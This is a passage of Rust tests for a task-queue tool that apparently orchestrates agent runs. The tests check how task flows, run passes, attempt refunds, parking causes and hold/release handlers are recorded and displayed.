16877            TaskStatus::Failed,
16878            TaskStatus::Parked,
16879            TaskStatus::Held,
16880        ] {
16881            task.status = status;
16882            if status == TaskStatus::Held {
16883                task.held_at = None;
16884            }
16885            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16886            assert_eq!(flow.nodes[1].started_at, Some(created));
16887            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16888            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16889            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16890            let json = serde_json::to_value(&flow).unwrap();
16891            assert!(json["nodes"][3]["started_at"].is_null());
16892            assert_eq!(json["nodes"][3]["time_expected"], true);
16893        }
16894    }
16895
16896    #[test]
16897    fn flow_context_links_do_not_expect_start_times() {
16898        let mut task = flow_task(&[]);
16899        task.source = Source::Agent {
16900            run: "chat-id".to_owned(),
16901            node: "chat".to_owned(),
16902        };
16903        let origin = followup_origin(&fu(None), |_| None, |_| None);
16904        let flow = task_flow(&task, &[], 5, Some(&origin));
16905        for node in &flow.nodes[..2] {
16906            assert!(!node.time_expected);
16907            assert_eq!(node.started_at, None);
16908        }
16909        assert!(flow.nodes[2].time_expected);
16910    }
16911
16912    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16913        crate::queue::FollowUp {
16914            run: "20260901-000000-aaaa".to_owned(),
16915            origin_task: origin_task.map(str::to_owned),
16916            pr: "https://example.com/o/r/pull/1".to_owned(),
16917            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16918                .map(str::to_owned)
16919                .to_vec(),
16920            generation: 1,
16921        }
16922    }
16923
16924    fn parent_task() -> Task {
16925        let mut p = flow_task(&[]);
16926        p.title = "Parent title".to_owned();
16927        p.status = TaskStatus::Done;
16928        p
16929    }
16930
16931    #[test]
16932    fn flow_opens_with_the_parent_task_of_a_followup() {
16933        let p = parent_task();
16934        let pid = p.id.clone();
16935        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16936        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16937        let n = &f.nodes[0];
16938        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16939        assert_eq!(
16940            n.label,
16941            format!("Follow-up of {}", crate::queue::short(&pid))
16942        );
16943        assert_eq!(n.detail.as_deref(), Some("Parent title"));
16944        assert_eq!(n.status, Some("done"));
16945        assert_eq!(n.status_of, "task");
16946        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16947        assert_eq!(f.nodes[1].key, "start");
16948        assert_eq!(f.edges[0].from, "origin");
16949        assert_eq!(
16950            f.edges[0].label,
16951            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16952        );
16953    }
16954
16955    #[test]
16956    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16957        let o = followup_origin(
16958            &fu(Some("gone")),
16959            |_| None,
16960            |_| {
16961                Some(RunState::new(
16962                    std::path::PathBuf::from("."),
16963                    "main".to_owned(),
16964                    "0".to_owned(),
16965                    "t".to_owned(),
16966                    crate::config::Config::default(),
16967                ))
16968            },
16969        );
16970        assert!(o.parent.is_none());
16971        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16972        let n = &f.nodes[0];
16973        assert_eq!(n.status_of, "run");
16974        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16975        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16976    }
16977
16978    #[test]
16979    fn flow_followup_with_nothing_readable_has_no_link() {
16980        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16981        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16982        let n = &f.nodes[0];
16983        assert_eq!(n.href, None);
16984        assert_eq!(n.note, Some("unreadable"));
16985        assert!(!n.readable);
16986    }
16987
16988    #[test]
16989    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16990        let o = followup_origin(&fu(None), |_| None, |_| None);
16991        let mut t = flow_task(&[]);
16992        t.origin_chat = Some("c1".to_owned());
16993        let f = task_flow(&t, &[], 5, Some(&o));
16994        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16995        t.source = Source::Agent {
16996            run: "c1".to_owned(),
16997            node: crate::queue::CHAT_NODE.to_owned(),
16998        };
16999        let f = task_flow(&t, &[], 5, Some(&o));
17000        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17001        assert_eq!(
17002            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17003            ("chat", "origin")
17004        );
17005    }
17006
17007    #[test]
17008    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17009        let mut p = parent_task();
17010        p.id = "a b/c".to_owned();
17011        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17012        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17013    }
17014
17015    #[test]
17016    fn flow_opens_with_the_chat_that_queued_the_task() {
17017        let mut t = flow_task(&[]);
17018        t.source = Source::Agent {
17019            run: "a b/c".to_owned(),
17020            node: crate::queue::CHAT_NODE.to_owned(),
17021        };
17022        let f = flow_for(&t, &[]);
17023        assert_eq!(f.nodes[0].key, "chat");
17024        assert_eq!(f.nodes[0].kind, "chat");
17025        assert_eq!(
17026            f.nodes[0].label,
17027            format!("Chat {}", crate::queue::short("a b/c"))
17028        );
17029        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17030        assert_eq!(f.nodes[1].key, "start");
17031        assert_eq!(
17032            f.edges[0],
17033            FlowEdge {
17034                from: "chat".to_owned(),
17035                to: "start".to_owned(),
17036                label: "queued from chat".to_owned(),
17037                attempt: AttemptCost::None,
17038            }
17039        );
17040    }
17041
17042    #[test]
17043    fn flow_has_no_chat_box_for_other_sources() {
17044        for source in [
17045            Source::Human,
17046            Source::Issue {
17047                number: 3,
17048                repo: "o/r".to_owned(),
17049            },
17050            Source::Agent {
17051                run: "20260904-014455-ab12".to_owned(),
17052                node: "implement".to_owned(),
17053            },
17054        ] {
17055            let mut t = flow_task(&[]);
17056            t.source = source;
17057            let f = flow_for(&t, &[]);
17058            assert_eq!(f.nodes[0].key, "start");
17059            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17060            assert!(f.edges.iter().all(|e| e.from != "chat"));
17061        }
17062    }
17063
17064    const FA: &str = "20260902-140501-aaaa";
17065    const FB: &str = "20260902-140502-bbbb";
17066
17067    #[test]
17068    fn flow_follows_blocked_retry_merged_to_done() {
17069        let mut t = flow_task(&[FA, FB]);
17070        t.status = TaskStatus::Done;
17071        let f = flow_for(
17072            &t,
17073            &[
17074                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17075                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17076            ],
17077        );
17078        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17079        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17080        assert_eq!(f.edges.len(), 3);
17081        assert_eq!(f.edges[0].label, "claimed");
17082        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17083        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17084        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17085        assert_eq!(
17086            f.nodes[2].href.as_deref(),
17087            Some("#/runs/20260902-140502-bbbb")
17088        );
17089        assert!(f.nodes[2].decided);
17090    }
17091
17092    #[test]
17093    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17094        let quota = || {
17095            flow_run(RunStatus::Stalled, |s| {
17096                s.quota.push(crate::run::QuotaLoss {
17097                    cause: crate::agent::QuotaCause::UsageLimit,
17098                    agent: String::new(),
17099                    seat: "judge-1".to_owned(),
17100                    node: "judge".to_owned(),
17101                    at: Timestamp::now(),
17102                    reset: None,
17103                })
17104            })
17105        };
17106        let mut t = flow_task(&[FA, FA]);
17107        t.status = TaskStatus::Queued;
17108        let f = flow_for(&t, &[(FA, Some(quota()))]);
17109        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17110        assert_eq!(f.nodes[1].note, Some("interrupted"));
17111        assert_eq!(
17112            f.nodes[1].status, None,
17113            "no outcome copied onto an earlier pass"
17114        );
17115        assert_eq!(
17116            f.edges[1].attempt,
17117            AttemptCost::Unknown,
17118            "a resume does not prove the earlier pass was refunded"
17119        );
17120        assert!(f.edges[1].label.contains("resume the same run"));
17121        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17122        assert_eq!(
17123            f.edges[2].label,
17124            "stalled after a resume, refund unknown \u{2192} queued"
17125        );
17126        assert!(!f.nodes[2].decided, "a stall is not a decision");
17127        assert_eq!(f.nodes[2].note, Some("no verdict"));
17128    }
17129
17130    #[test]
17131    fn flow_single_pass_quota_stall_is_refunded() {
17132        let t = flow_task(&[FA]);
17133        let f = flow_for(
17134            &t,
17135            &[(
17136                FA,
17137                Some(flow_run(RunStatus::Stalled, |s| {
17138                    s.quota.push(crate::run::QuotaLoss {
17139                        cause: crate::agent::QuotaCause::UsageLimit,
17140                        agent: String::new(),
17141                        seat: "judge-1".to_owned(),
17142                        node: "judge".to_owned(),
17143                        at: Timestamp::now(),
17144                        reset: None,
17145                    })
17146                })),
17147            )],
17148        );
17149        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17150    }
17151
17152    #[test]
17153    fn flow_parked_refunds_and_stall_without_quota_spends() {
17154        let mut t = flow_task(&[FA]);
17155        t.status = TaskStatus::Queued;
17156        let f = flow_for(
17157            &t,
17158            &[(
17159                FA,
17160                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17161            )],
17162        );
17163        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17164        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17165        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17166        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17167        assert!(!f.nodes[1].decided);
17168    }
17169
17170    #[test]
17171    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17172        let t = flow_task(&[FA, FB]);
17173        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17174        assert_eq!(f.nodes[1].note, Some("unreadable"));
17175        assert!(!f.nodes[1].readable);
17176        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17177        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17178    }
17179
17180    #[test]
17181    fn flow_names_the_branch_of_a_review_only_run() {
17182        let t = flow_task(&[FA]);
17183        let f = flow_for(
17184            &t,
17185            &[(
17186                FA,
17187                Some(flow_run(RunStatus::Merged, |s| {
17188                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17189                })),
17190            )],
17191        );
17192        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17193        assert_eq!(
17194            f.nodes[1].detail.as_deref(),
17195            Some("review-only run of branch magi/x/A")
17196        );
17197    }
17198
17199    #[test]
17200    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17201        let mut t = flow_task(&[FA]);
17202        t.status = TaskStatus::Held;
17203        let pr = crate::run::PrRecord {
17204            url: "https://example.test/pr/1".to_owned(),
17205            number: 1,
17206            state: "open".to_owned(),
17207            checks: "green".to_owned(),
17208            round: 0,
17209            rounds: 3,
17210            red_at_merge: Vec::new(),
17211        };
17212        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17213        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17214        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17215        t.status = TaskStatus::Done;
17216        let f = flow_for(&t, &[(FA, Some(blocked))]);
17217        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17218    }
17219
17220    #[test]
17221    fn flow_with_no_runs_goes_from_queued_to_queued() {
17222        let t = flow_task(&[]);
17223        let f = flow_for(&t, &[]);
17224        assert_eq!(f.nodes.len(), 2);
17225        assert_eq!(f.edges.len(), 1);
17226        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17227        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17228    }
17229
17230    /// A run parked mid-flight keeps a non-terminal status; the page must
17231    /// still say why it stopped and that the attempt came back.
17232    #[test]
17233    fn a_parked_non_terminal_run_is_explained_as_parked() {
17234        let mut s = RunState::new(
17235            PathBuf::from("/repo/magi"),
17236            "main".to_owned(),
17237            "0123456789abcdef".to_owned(),
17238            "Do it".to_owned(),
17239            Config::default(),
17240        );
17241        s.status = RunStatus::Implementing;
17242        s.parked = true;
17243        let task = Task::new(
17244            "t".to_owned(),
17245            "Do it".to_owned(),
17246            PathBuf::from("/repo/magi"),
17247            Source::Human,
17248        );
17249        let v = task_run_view(
17250            "20260902-140501-aaaa",
17251            Some(&s),
17252            RunSlot {
17253                n: 1,
17254                resumed: false,
17255                resumed_later: None,
17256                prior: None,
17257                last: true,
17258                ..RunSlot::default()
17259            },
17260            &task,
17261        );
17262        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17263    }
17264
17265    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17266        let mut s = flow_run(RunStatus::Implementing, edit);
17267        s.parked = false;
17268        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17269        task_run_view(
17270            "20260902-140501-aaaa",
17271            Some(&s),
17272            RunSlot {
17273                n: 1,
17274                resumed: false,
17275                resumed_later: Some(2),
17276                prior: None,
17277                last: false,
17278                ..RunSlot::default()
17279            },
17280            &task,
17281        )
17282    }
17283
17284    #[test]
17285    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17286        let v = earlier_pass_view(|_| {});
17287        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17288        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17289        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17290        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17291        assert_eq!(v.exit, RunExit::Interrupted);
17292        assert_eq!(v.attempt, AttemptCost::Unknown);
17293    }
17294
17295    #[test]
17296    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17297        let v = earlier_pass_view(|s| {
17298            s.quota.push(crate::run::QuotaLoss {
17299                cause: crate::agent::QuotaCause::UsageLimit,
17300                agent: String::new(),
17301                seat: "judge-1".to_owned(),
17302                node: "judge".to_owned(),
17303                at: Timestamp::now(),
17304                reset: None,
17305            });
17306        });
17307        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17308        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17309        assert_eq!(v.attempt, AttemptCost::Unknown);
17310    }
17311
17312    #[test]
17313    fn the_current_pass_states_its_recorded_cause_and_cost() {
17314        let slot = || RunSlot {
17315            n: 1,
17316            resumed: false,
17317            resumed_later: None,
17318            prior: None,
17319            last: true,
17320            ..RunSlot::default()
17321        };
17322        let task = flow_task(&["20260902-140501-aaaa"]);
17323        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17324        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17325        assert_eq!(
17326            (v.exit, v.attempt),
17327            (RunExit::Parked, AttemptCost::Refunded)
17328        );
17329        let spent = flow_run(RunStatus::Blocked, |_| {});
17330        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17331        assert_eq!(v.attempt, AttemptCost::Spent);
17332        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17333    }
17334
17335    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17336        crate::run::RunPass {
17337            index,
17338            started_at: Timestamp::now(),
17339            resumed: index > 0,
17340            ended_at: end.as_ref().map(|_| Timestamp::now()),
17341            end,
17342            task_entry: true,
17343        }
17344    }
17345
17346    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17347        Some(crate::run::PassEnd::Parked { cause })
17348    }
17349
17350    fn upgrade_cause() -> crate::run::ParkCause {
17351        crate::run::ParkCause::Upgrade {
17352            from: "0.121.0".to_owned(),
17353            to: Some("0.121.1".to_owned()),
17354        }
17355    }
17356
17357    fn settled_pass(
17358        run: &str,
17359        index: usize,
17360        cost: crate::queue::PassCost,
17361    ) -> crate::queue::TaskPass {
17362        crate::queue::TaskPass {
17363            run: run.to_owned(),
17364            pass_index: index,
17365            started_at: None,
17366            cost,
17367            attempts_after: 1,
17368            settled_at: Timestamp::now(),
17369            parked: None,
17370        }
17371    }
17372
17373    const RUN_X: &str = "20261011-223708-4334";
17374
17375    #[test]
17376    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17377        use crate::queue::PassCost;
17378        let run = flow_run(RunStatus::Implementing, |s| {
17379            s.passes = vec![
17380                recorded_pass(0, parked(upgrade_cause())),
17381                recorded_pass(1, None),
17382            ];
17383        });
17384        let mut task = flow_task(&[RUN_X, RUN_X]);
17385        task.attempts = 1;
17386        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17387        let h = task_history(&task, |_| Some(run.clone()));
17388        assert_eq!(h.len(), 2);
17389        assert_eq!(h[0].kind, "competition");
17390        assert_eq!(h[1].kind, "resume");
17391        assert_eq!(
17392            (h[0].exit, h[0].attempt),
17393            (RunExit::Parked, AttemptCost::Refunded)
17394        );
17395        assert!(
17396            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17397            "{}",
17398            h[0].outcome
17399        );
17400        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17401        assert!(
17402            h[0].outcome.contains("pass #2 resumed the same run"),
17403            "{}",
17404            h[0].outcome
17405        );
17406        assert!(
17407            h[0].outcome.contains("pass 1 of 2 over run"),
17408            "{}",
17409            h[0].outcome
17410        );
17411        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17412        assert_eq!(
17413            h[0].exit_label,
17414            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17415        );
17416        let f = task_flow(&task, &h, 2, None);
17417        // Two passes of one run, one of two attempts consumed.
17418        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17419        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17420        assert!(
17421            f.edges[1].label.contains("upgrade 0.121.0"),
17422            "{}",
17423            f.edges[1].label
17424        );
17425        assert!(
17426            f.edges[1].label.contains("resume the same run"),
17427            "{}",
17428            f.edges[1].label
17429        );
17430        assert_eq!(f.nodes[1].note, Some("parked"));
17431    }
17432
17433    #[test]
17434    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17435        let mut a = flow_run(RunStatus::Implementing, |s| {
17436            s.passes = vec![
17437                recorded_pass(0, parked(upgrade_cause())),
17438                recorded_pass(1, None),
17439            ];
17440        });
17441        let mut b = flow_run(RunStatus::Failed, |s| {
17442            s.passes = vec![recorded_pass(0, None)];
17443        });
17444        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17445        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17446        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17447        let mut task = flow_task(&[]);
17448        task.start("a".into());
17449        task.start("b".into());
17450        task.start("a".into());
17451        assert_eq!(task.runs, ["b", "a"]);
17452        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17453        let h = task_history(&task, |id| {
17454            Some(if id == "a" { a.clone() } else { b.clone() })
17455        });
17456        assert_eq!(
17457            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17458            ["a", "b", "a"]
17459        );
17460        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17461        assert!(h[0].outcome.contains("upgrade"));
17462        assert_eq!(h[2].kind, "resume");
17463        assert!(h[2].pass.is_some());
17464        // The old repeated-id format must show the same recorded passes.
17465        task.runs = vec!["a".into(), "b".into(), "a".into()];
17466        let old = task_history(&task, |id| {
17467            Some(if id == "a" { a.clone() } else { b.clone() })
17468        });
17469        assert_eq!(
17470            old.iter()
17471                .map(|v| (&v.id, &v.kind, v.attempt))
17472                .collect::<Vec<_>>(),
17473            h.iter()
17474                .map(|v| (&v.id, &v.kind, v.attempt))
17475                .collect::<Vec<_>>()
17476        );
17477    }
17478
17479    #[test]
17480    fn an_upgrade_whose_target_was_not_known_says_so() {
17481        let run = flow_run(RunStatus::Implementing, |s| {
17482            s.passes = vec![
17483                recorded_pass(
17484                    0,
17485                    parked(crate::run::ParkCause::Upgrade {
17486                        from: "0.121.0".to_owned(),
17487                        to: None,
17488                    }),
17489                ),
17490                recorded_pass(1, None),
17491            ];
17492        });
17493        let task = flow_task(&[RUN_X, RUN_X]);
17494        let h = task_history(&task, |_| Some(run.clone()));
17495        assert!(
17496            h[0].outcome.contains("upgrade from 0.121.0"),
17497            "{}",
17498            h[0].outcome
17499        );
17500        // No settle record: the refund is not claimed.
17501        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17502    }
17503
17504    #[test]
17505    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17506        use crate::queue::PassCost;
17507        use crate::run::ParkCause;
17508        let run = flow_run(RunStatus::Implementing, |s| {
17509            s.passes = vec![
17510                recorded_pass(0, parked(upgrade_cause())),
17511                recorded_pass(
17512                    1,
17513                    parked(ParkCause::Interrupt {
17514                        reason: "task a1b2 asked to run first".to_owned(),
17515                    }),
17516                ),
17517                recorded_pass(2, parked(ParkCause::Operator)),
17518                recorded_pass(3, None),
17519            ];
17520        });
17521        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17522        task.attempts = 1;
17523        task.passes = (0..3)
17524            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17525            .collect();
17526        let h = task_history(&task, |_| Some(run.clone()));
17527        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17528        assert!(
17529            h[1].outcome.contains("task a1b2 asked to run first"),
17530            "{}",
17531            h[1].outcome
17532        );
17533        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17534        assert!(
17535            h[2].outcome.contains("operator asked the loop to park"),
17536            "{}",
17537            h[2].outcome
17538        );
17539        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17540        let f = task_flow(&task, &h, 2, None);
17541        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17542    }
17543
17544    #[test]
17545    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17546        let run = flow_run(RunStatus::Implementing, |s| {
17547            s.passes = vec![
17548                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17549                recorded_pass(1, None),
17550            ];
17551        });
17552        let task = flow_task(&[RUN_X, RUN_X]);
17553        let h = task_history(&task, |_| Some(run.clone()));
17554        assert_eq!(h[0].exit, RunExit::Interrupted);
17555        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17556        assert!(
17557            h[0].outcome.contains("without recording why"),
17558            "{}",
17559            h[0].outcome
17560        );
17561        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17562        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17563    }
17564
17565    #[test]
17566    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17567        use crate::queue::PassCost;
17568        // Three entries, but the run only began keeping passes at the last
17569        // two: the first is legacy and must not be given a cause.
17570        let run = flow_run(RunStatus::Implementing, |s| {
17571            s.passes = vec![
17572                recorded_pass(0, parked(upgrade_cause())),
17573                recorded_pass(1, None),
17574            ];
17575        });
17576        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17577        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17578        let h = task_history(&task, |_| Some(run.clone()));
17579        assert!(h[0].pass.is_none());
17580        assert_eq!(h[0].exit, RunExit::Interrupted);
17581        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17582        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17583        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17584        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17585        // A run with no passes at all is entirely unknown.
17586        let legacy = flow_run(RunStatus::Implementing, |_| {});
17587        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17588        assert!(h.iter().all(|v| v.pass.is_none()));
17589        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17590    }
17591
17592    #[test]
17593    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17594        use crate::queue::PassCost;
17595        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17596        // task. The two entries are passes 0 and 2.
17597        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17598        web.task_entry = false;
17599        let run = flow_run(RunStatus::Implementing, |s| {
17600            s.passes = vec![
17601                recorded_pass(0, parked(upgrade_cause())),
17602                web.clone(),
17603                recorded_pass(2, None),
17604            ];
17605        });
17606        let mut task = flow_task(&[RUN_X, RUN_X]);
17607        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17608        let h = task_history(&task, |_| Some(run.clone()));
17609        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17610        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17611
17612        // Legacy first entry, then a web resume that parked for an upgrade,
17613        // then the daemon's pass: the legacy entry must stay unknown.
17614        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17615        web0.task_entry = false;
17616        let run = flow_run(RunStatus::Implementing, |s| {
17617            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17618        });
17619        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17620        assert!(h[0].pass.is_none());
17621        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17622        assert!(h[1].pass.is_some());
17623    }
17624
17625    #[tokio::test]
17626    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17627        let dir = tempfile::tempdir().unwrap();
17628        let queue = Queue::at(dir.path().join("queue"));
17629        let ui = Arc::new(Ui::new(
17630            queue.clone(),
17631            Questions::at(dir.path().join("questions")),
17632            Talks::at(dir.path().join("talks")),
17633            dir.path().join("runs"),
17634            dir.path().to_path_buf(),
17635            dir.path().to_path_buf(),
17636        ));
17637        let mut t = Task::new(
17638            "recover".into(),
17639            "Inspect".into(),
17640            PathBuf::from("."),
17641            Source::Human,
17642        );
17643        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17644        t.start("run-A".into());
17645        t.release_operator("choice", Some("resume-question"));
17646        t.resume_override = Some(crate::queue::OperatorResume {
17647            question_id: "resume-question".into(),
17648            at: jiff::Timestamp::now(),
17649            conductor_rehold: None,
17650            forced: true,
17651            pinned_run: Some("run-A".into()),
17652        });
17653        t.hold_machine(Some("inspection pending".into()));
17654        t.edit("recover".into(), "Reuse approved PR head".into())
17655            .unwrap();
17656        queue.put(&mut t).unwrap();
17657        let mut cli = t.clone();
17658        cli.release_operator("cli", None);
17659        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17660        let reloaded = queue.get(&t.id).unwrap();
17661        assert_eq!(reply.task.status, TaskStatus::Queued);
17662        assert!(reloaded.resume_override.is_none());
17663        assert_eq!(reloaded.answers, t.answers);
17664        let mut web = reloaded.resumption.unwrap();
17665        let cli = cli.resumption.unwrap();
17666        assert_eq!(web.source, "web");
17667        web.source = cli.source.clone();
17668        web.at = cli.at;
17669        assert_eq!(web, cli);
17670    }
17671
17672    #[tokio::test]
17673    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17674        let f = Fixture::start().await;
17675        let queue = f.queue();
17676        let mut task = Task::new(
17677            "spent".to_owned(),
17678            "Try again".to_owned(),
17679            PathBuf::from("/repo/magi"),
17680            Source::Human,
17681        );
17682        task.start("20260902-140502-bbbb".to_owned());
17683        task.fail("agent gave up", 9);
17684        queue.put(&mut task).expect("file the task");
17685
17686        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17687        assert_eq!(held.status, 200);
17688        assert_eq!(held.json()["status_str"], "held");
17689
17690        let released = f
17691            .post(&format!("/api/queue/{}/release", task.id), None)
17692            .await;
17693        assert_eq!(released.status, 200);
17694        assert_eq!(released.json()["status_str"], "queued");
17695        assert_eq!(released.json()["resumption"]["source"], "web");
17696        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17697        let mut cli = task.clone();
17698        cli.release_operator("cli", None);
17699        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17700        let cli = cli.resumption.unwrap();
17701        assert_eq!(web.instruction, cli.instruction);
17702        assert_eq!(web.answers_through, cli.answers_through);
17703        assert_eq!(web.runs_through, cli.runs_through);
17704        assert_eq!(web.cleared_reason, cli.cleared_reason);
17705        assert_eq!(
17706            released.json()["attempts"],
17707            0,
17708            "release is a real second chance, not an instant re-hold"
17709        );
17710        assert_eq!(
17711            queue.get(&task.id).expect("reload").status,
17712            TaskStatus::Queued,
17713            "the change is on disk, not only in the reply"
17714        );
17715        assert!(
17716            !f.home
17717                .path()
17718                .join("queue")
17719                .join(format!("{}.lock", task.id))
17720                .exists(),
17721            "the claim the mutation took is released again"
17722        );
17723    }
17724
17725    #[tokio::test]
17726    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17727        let f = Fixture::start().await;
17728        let queue = f.queue();
17729        let mut task = Task::new(
17730            "busy".to_owned(),
17731            "Running right now".to_owned(),
